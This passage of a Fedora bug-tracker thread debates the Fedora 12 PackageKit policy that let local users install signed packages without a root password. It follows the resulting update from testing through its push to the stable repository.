(In reply to comment #232) I totally agree with this. If you want this functionality, putting it in a specific groups domain is the right idea! Suggestion - Call the group "Idiots" :P But Seriously, I think this is the most elegant solution yet. It gives fine grain control over the whole process, and the admin of the machine can decide which users can have this sort of power. It should not be a default group though!
(In reply to comment #233) > But Seriously, I think this is the most elegant solution yet. It gives fine > grain control over the whole process, and the admin of the machine can decide > which users can have this sort of power. It should not be a default group > though! It also has potential in other areas, for example I remember a while back there was debate concerning the setroubleshoot (or was it kerneloops?) applet and if we should be showing alerts with diagnostic information to regular/non-admin users. With user roles figuring that part out would be simple too.
Errm, reinventing the wheel? (Pun intended.)
The following was posted to fedora-devel by Owen Taylor: http://www.redhat.com/archives/fedora-devel-list/2009-November/msg01445.html with the conclusion "After talking things through a bit, the consensus was that we need to take a course that's conservative for Fedora 12. To do something that is safe for almost all uses of Fedora, if a bit less convenient. [...] We'll make an update to the F12 PackageKit, so that the root password is required to install packages."
(In reply to comment #236) Fantastic ... Maybe I will burn that ISO after all. I think the GUI mentioned in the mail is a great idea. Looking forward to that. Thanks all for coming to consensus and a way forward.
Thanks for the update. This seems like a reasonable course to take, but of course is a step backward from the options available in the previous release. I am not sure about the technical details of the new PolicyKit release, but it is just slightly confusing that the new feature was supposed to be a GUI configuration utility -- which seems to have already existed in previous releases, but was removed in F12. On my F11 system, I need only go to System->Preferences->Authorizations, and the specific option applicable to this bug is under org->freedesktop->packagekit->Install signed package.
@238, #181 already has a reference with more details.
PackageKit-0.5.4-0.4.20091029git.fc12 has been submitted as an update for Fedora 12. http://admin.fedoraproject.org/updates/PackageKit-0.5.4-0.4.20091029git.fc12
As a long-time Fedora user, I appreciate the commitment and dedication to the community shown by the volunteers Fedora and Redhat. I would like to continue my level of trust in these open, transparent processes. Kudos to Robin R. Price II for opening up his comment #56, which clearly shows that he cares about this transparency like most of us do. But, could the owners of the following comments please also open their comments, in the interests of transparency and restoring trust: #33, 48, 49, 51, 54, 57, 60, 83, 88, 102, 128 ? As long as this large majority are not shared, I feel of some loss of trust.
I would mark it as fine, why?? If you give rights to some users on a local machine then you also set some rights for him right? You just don't create an user and voila my work here is done. If the person has a local access then that person already has more power than simple installing from active session and only signed repositories. Simple live CD would suffice to create chaos and that plugin will not make it worse on the other side i wouldn't want everyone install anything without administrator's consent. I guess the default should be not to allow this but not from the security standpoint as it is just fine (it still asks for password if not from active session or not local right? ) so i don't understand why is everyone crying about.
Why do you think a malicious user is trying to do something? The problem with this is the user can be either ignorant or oblivious or the situation. Yes a malicious user that touches a box can boot the machine in single user mode or boot a livecd to take it over. The problem here is a non Malicious user will install software if prompted by the system, as Windows has proven through the years. Never mind that but the tool itself, Firefox, can be fooled into installing software by a rogue web site. That is the problem, not being able to physically touch the box.
I don’t not like the idea of having my desktop users be able to install packages, signed or not. But for my ‘power users’ on occasion it would be nice for them to update existing software for bug fixes. Maybe some extension to the GUI where the user could do the equivalent of “yum --bug update” or “yum --security update” by some mechanism of the yum-security plugin?
Well, now we have so many people paying such close attention to this bug ;), it's time for people to test the update: http://admin.fedoraproject.org/updates/PackageKit-0.5.4-0.4.20091029git.fc12 please confirm that it correctly addresses the issue, and provide your feedback to that location. Note that there's a 'Login' link at the bottom of the blue bar to the left of the page, you can log in with FAS credentials there so your feedback will be properly attributed. Otherwise it will run you through a captcha and your feedback will be from 'Anonymous Tester'. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
PackageKit-0.5.4-0.4.20091029git.fc12 has been pushed to the Fedora 12 testing repository. If problems still persist, please make note of it in this bug report. If you want to test the update, you can install it with su -c 'yum --enablerepo=updates-testing update PackageKit'. You can provide feedback for this update here: http://admin.fedoraproject.org/updates/F12/FEDORA-2009-11882
Thank you. I am looking forward to a F12 re-spin, or F13 whichever comes first.
Thanks, I am glad this issue will be resolved!
thank you very much, now it asks for password so the security issue is gone. however, compared to f11 it's a small usability regression since there's no more an option to "remember authorization forever/for this session". also, considering the security impact, it would be great if fedoraproject releases updated install media not affected by this issue. thanks again.
*** Bug 539742 has been marked as a duplicate of this bug. ***
(In reply to comment #246) > PackageKit-0.5.4-0.4.20091029git.fc12 has been pushed to the Fedora 12 testing > repository. If problems still persist, please make note of it in this bug > report. > If you want to test the update, you can install it with > su -c 'yum --enablerepo=updates-testing update PackageKit'. You can provide > feedback for this update here: > http://admin.fedoraproject.org/updates/F12/FEDORA-2009-11882 New packages resolve this issue. Thank you for the prompt resolution.
cornel: there's no reason we would do that. If you install any Fedora release and leave it unpatched, you will be subject to far more serious security issues than this. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
All is good now, thank you.
(In reply to comment #252) > cornel: there's no reason we would do that.= The main reason to "do that" is to save the Fedora project. F12 is dead.
> (In reply to comment #254) > (In reply to comment #252) > > cornel: there's no reason we would do that.= > > The main reason to "do that" is to save the Fedora project. > > F12 is dead. I think that's overly dramatic. Now all the people who don't install patches but still claim to be security conscious will stick with F11. Wow. There must be, maybe, two of those people.
(In reply to comment #254) > (In reply to comment #252) > > cornel: there's no reason we would do that.= > > The main reason to "do that" is to save the Fedora project. > > F12 is dead. The original policy is only a problem once root has imported the GPG key for the repository, so it can only happen after you first apply updates. If you install a new Fedora 12 system, and then apply security updates on boot, you close the hole, which isn't is bad as many other things we haven't re-spun for, the moment you open it. If you really want a respin, you're quite welcome to do it yourself. Revisor is ridiculously easy to use.
PackageKit-0.5.4-0.4.20091029git.fc12 fixes this bug. However, consider this quote from Owen Taylor's e-mail https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01445.html (with emphasis added) --- Probably the most important one is a bit obvious in hindsight: Fedora is used on a wide variety of systems, and in some of those - like a shared home system with parents and young children, or like a computer lab system - *** there are some users who shouldn't be able to change what is installed on the system. *** Even if installing those packages isn't a security hole. --- If the text in emphasys is to be taken literally (and I think it is appropriate to do so), then the current policy should be changed to restrict local users not only from installing but also from *updating* software. On the machine I maintain there are currently a couple of updates that I do not want to carry out, since I know that they lead to regressions or undesired side effects. I can as well think of an administrator who only want to perform security updates, or of an administrator who prefer to pick updates selectively. In such cases, a local user who performs all available updates effectively "spoils" the administrator's work. This would be a separate issue, so it would require a new bug to be filed, but since it is so tightly connected with this bug, I found it appropriate to post my comment here.
PackageKit-0.5.4-0.4.20091029git.fc12 has been pushed to the Fedora 12 stable repository. If problems still persist, please make note of it in this bug report.
(In reply to comment #257) > PackageKit-0.5.4-0.4.20091029git.fc12 fixes this bug. > > However, consider this quote from Owen Taylor's e-mail > https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01445.html > (with emphasis added) > --- > Probably the most important one is a bit obvious in hindsight: Fedora is > used on a wide variety of systems, and in some of those - like a shared > home system with parents and young children, or like a computer lab > system - *** there are some users who shouldn't be able to change what is > installed on the system. *** Even if installing those packages isn't a > security hole. > --- > > If the text in emphasys is to be taken literally (and I think it is appropriate > to do so), then the current policy should be changed to restrict local users > not only from installing but also from *updating* software. > > On the machine I maintain there are currently a couple of updates that I do not > want to carry out, since I know that they lead to regressions or undesired side > effects. I can as well think of an administrator who only want to perform > security updates, or of an administrator who prefer to pick updates > selectively. In such cases, a local user who performs all available updates > effectively "spoils" the administrator's work. > > This would be a separate issue, so it would require a new bug to be filed, but > since it is so tightly connected with this bug, I found it appropriate to post > my comment here. This suggestion is addressed in Bug #568074.
How to enable installing packages without root password in Fedora 12? I would like to have this feature enabled. Thank you.
also this documentation is wrong: http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html